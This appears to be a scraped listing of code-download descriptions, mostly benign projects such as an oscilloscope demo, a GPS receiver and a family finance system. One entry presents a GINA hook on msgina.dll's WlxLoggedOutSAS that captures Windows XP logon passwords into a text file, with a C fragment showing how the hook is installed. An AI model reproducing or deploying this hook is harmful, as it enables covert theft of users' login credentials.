This is a VC written calculators. Its function is very powerful.

MFC实现示波器功能，同时输出三个波形，可以了解ＭＦＣ的很多基础应用。-MFC realize oscilloscope function, while the three output waveforms, can understand the basis for the application of many of MFC.

应用背景当忘记XP系统密码时，可以编译getInfo的dll和exe，执行getInfoRun.exe在下次登录时就可以获取密码了，密码文件保存在windows根目录下的getPwdout.txt文件中关键技术DWORD WINAPI StartHook(LPVOID lpParam) { //得到msgina.dll //hooktable.hMsgina  int n = 0; hooktable.hMsgina = LoadLibrary("msgina.dll"); n  = GetLastError(); if (NULL == hooktable.hMsgina) { printf("getmoduleHandle msgina.dll error"); return -1; } //得到WlxLoggedOutSAS hooktable.OldADDR = (WlxLoggedOutSAS)GetProcAddress(hooktable.hMsgina, "WlxLoggedOutSAS"); if (NULL == hooktable.OldADDR) { printf("GetProcAddress WlxLoggedOutSAS error"); return -1; } int *OpCode = (int*)&hooktable.charJmpCode[1]; int Code = (int)hooktable.NewADDR - (int)hooktable.OldADDR -5; *OpCode = Code; HookWlxLoggedOutSAS(); return 0; }

一个有关ADO数据库访问的代码-one of the ADO database access code

自己做的基于PPC2003的GPS信号接收程序，可设置GPS端口和速率，可实时显示接收的GPS数据。-Make their own based on the GPS signal reception PPC2003 procedures, to set the GPS port and speed, can receive real-time display of GPS data.

一个简单的安装向导-a simple installation wizard

家庭财务管理系统软件是为用户进行家庭成员的收支构成及信息管理进行辅助的应用软件、功能描述如下。 1．用户登录 2．给家庭成员提供功能选择界面 3．创建收支信息文件 4．增加家庭成员收支信息 5．删除家庭成员收支信息 6．修改家庭成员收支信息 7．查询家庭成员财务情况 8．家庭成员收支排行浏览-Family financial management system software is for users of family members constitute a balance of payments and information management in support of the application software, functions described below. 1. Login 2. To family members function selection interface 3. Create a balance information file 4. Increase the income and expenditure information on family members 5. Remove members of the family income and expenditure information 6. Modify the members of the family income and expenditure information on 7. Check the financial situation of family members 8. Members of the family income and expenditure Top View

物流供应链管理系统.rar-logistics supply chain management system. Rar

串口接口程序可以接受电源屏通过串口发送过来的数据并通过共享内存和其他进程交换数据-Serial interface program can accept the power panel through the serial port to send over the data and other processes through shared memory and the exchange of data

人工智能课上的要我们编写的一字棋，理由极大极小法编写的-Artificial Intelligence class to the word game we prepared the ground prepared by minimax method

资源描述VB编写的RS232串口通信测试程序，可以进行上位机和下位机的串口通讯